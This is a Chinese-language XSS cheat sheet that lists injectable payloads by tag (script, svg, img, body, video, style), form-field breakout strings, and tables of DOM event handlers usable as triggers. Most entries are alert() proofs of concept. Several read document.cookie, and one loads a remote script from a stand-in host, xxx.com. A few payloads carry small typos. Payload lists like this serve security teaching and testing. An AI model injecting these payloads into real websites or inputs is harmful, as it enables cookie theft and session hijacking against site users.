XSS 主要是针对网页客户端的一种攻击,那么就要执行 JavaScript 代码,那么无疑需要用到 JavaScript 语言以及在 HTML 中可以解析 JavaScript 代码的标签。
1、标签类
(1)script
<script></script>标签是最直接的 xSS payload,标签可以在浏览器渲染 DOM 树的时候同步执行 Javascript 代码,他可以引用外部,也可以将代码插入标签内
<script>alert("xss")</script>
<script>alert(/xss/)</script>
<script>alert(1)</script>
<script>alert(document.cookie)</script>
<script src=http://xxx.com/xss.js></script>
(2)svg
<svg></svg>标签是标记定义 5VG 图形的容器,其在 onload 方法中是在 SVG 容器初始化的时候执行代码
<svg onload="alert(1)">
(3)img
<img />标签是加载图片资源的标签,其在无法加载图片资源的时候会执行 onerror 方法
<img src=1 onerror=alert("/xss/")>
<img src=l onerror=alert(document.cookie)>
<img src="正确图片地址"onload="alert(/xss/)"/>
(4)body
<body></body> 是定义 HTML 文档的主体。其包含文档的所有内容(比如文本、超链接、图像、表格和列表等等。)
<body onload=alert(/xss/)>
<body onpageshow=alert(1)>
(5)video
<video></video>标签是引用远程媒体视频的标签,用法与 img 类似
<video onerror="alert(/xss/)" src="1"/>
(6)style
<style></style>标签是加载 css 资源的标签
<style onload=alert(1)></style>
2、表单类
在 web 中,最常见的为表单了,表单中的标签有<input />、<textarea></textarea>等等 在这里更多的是闭合语句来构成 XSS 比如
"/><script>alert(/xss/)</script>
></textareax<script>alert(/xss/)</script>
3、事件类
在 HTML 中,有许多事件操作的方法(DOM 事件),如 onclick 事件、ondblclick 事件等等,只需要用户点击,或者双击也可以执行 JavaScript 代码需要闭合,在块级元素中添加事件方法。
(1)鼠标事件
事件名称 | 描述 | DOM |
---|---|---|
onclick | 当用户点击某个对象时调用的事件句柄。 | 2 |
oncontextmenu | 在用户点击鼠标右键打开上下文菜单时触发 | |
ondblclick | 当用户双击某个对象时调用的事件句柄。 | 2 |
onmousedown | 鼠标按钮被按下。 | 2 |
onmouseenter | 当鼠标指针移动到元素上时触发。 | 2 |
onmouseleave | 当鼠标指针移出元素时触发 | 2 |
onmousemove | 鼠标被移动。 | 2 |
onmouseout | 鼠标从某元素移开。 | 2 |
onmouseover | 鼠标移到某元素之上。 | 2 |
onmouseup | 鼠标按键被松开。 | 2 |
onmousewheel | 鼠标滚轮被滚动。 | 2 |
(2)键盘事件
事件名称 | 描述 | DOM |
---|---|---|
onkeypress | 某个键盘的键被按下并松开。 | 2 |
onkeydown | 某个键盘的键被按下。 | 2 |
onkeyup | 某个键盘的键被松开。 | 2 |
(3)框架/对象(Frame/Object)事件
事件名称 | 描述 | DOM |
---|---|---|
onabort | 图像的加载被中断。 ( ) | 2 |
onbeforeunload | 该事件在即将离开页面(刷新或关闭)时触发 | |
onerror | 在加载文档或图像时发生错误。 ( , 和 ) | 2 |
onhashchange | 该事件在当前 URL 的锚部分发生修改时触发。 | |
onload | 一张页面或一幅图像完成加载。 | |
onpageshow | 该事件在用户访问页面时触发 | 2 |
onpopstate | 该事件在窗口历史记录改变时触发。 | |
onresize | 窗口或框架被重新调整大小。 | 2 |
onscroll | 当文档被滚动时触发的事件。 | 2 |
onunload | 用户退出页面。 ( ) | 2 |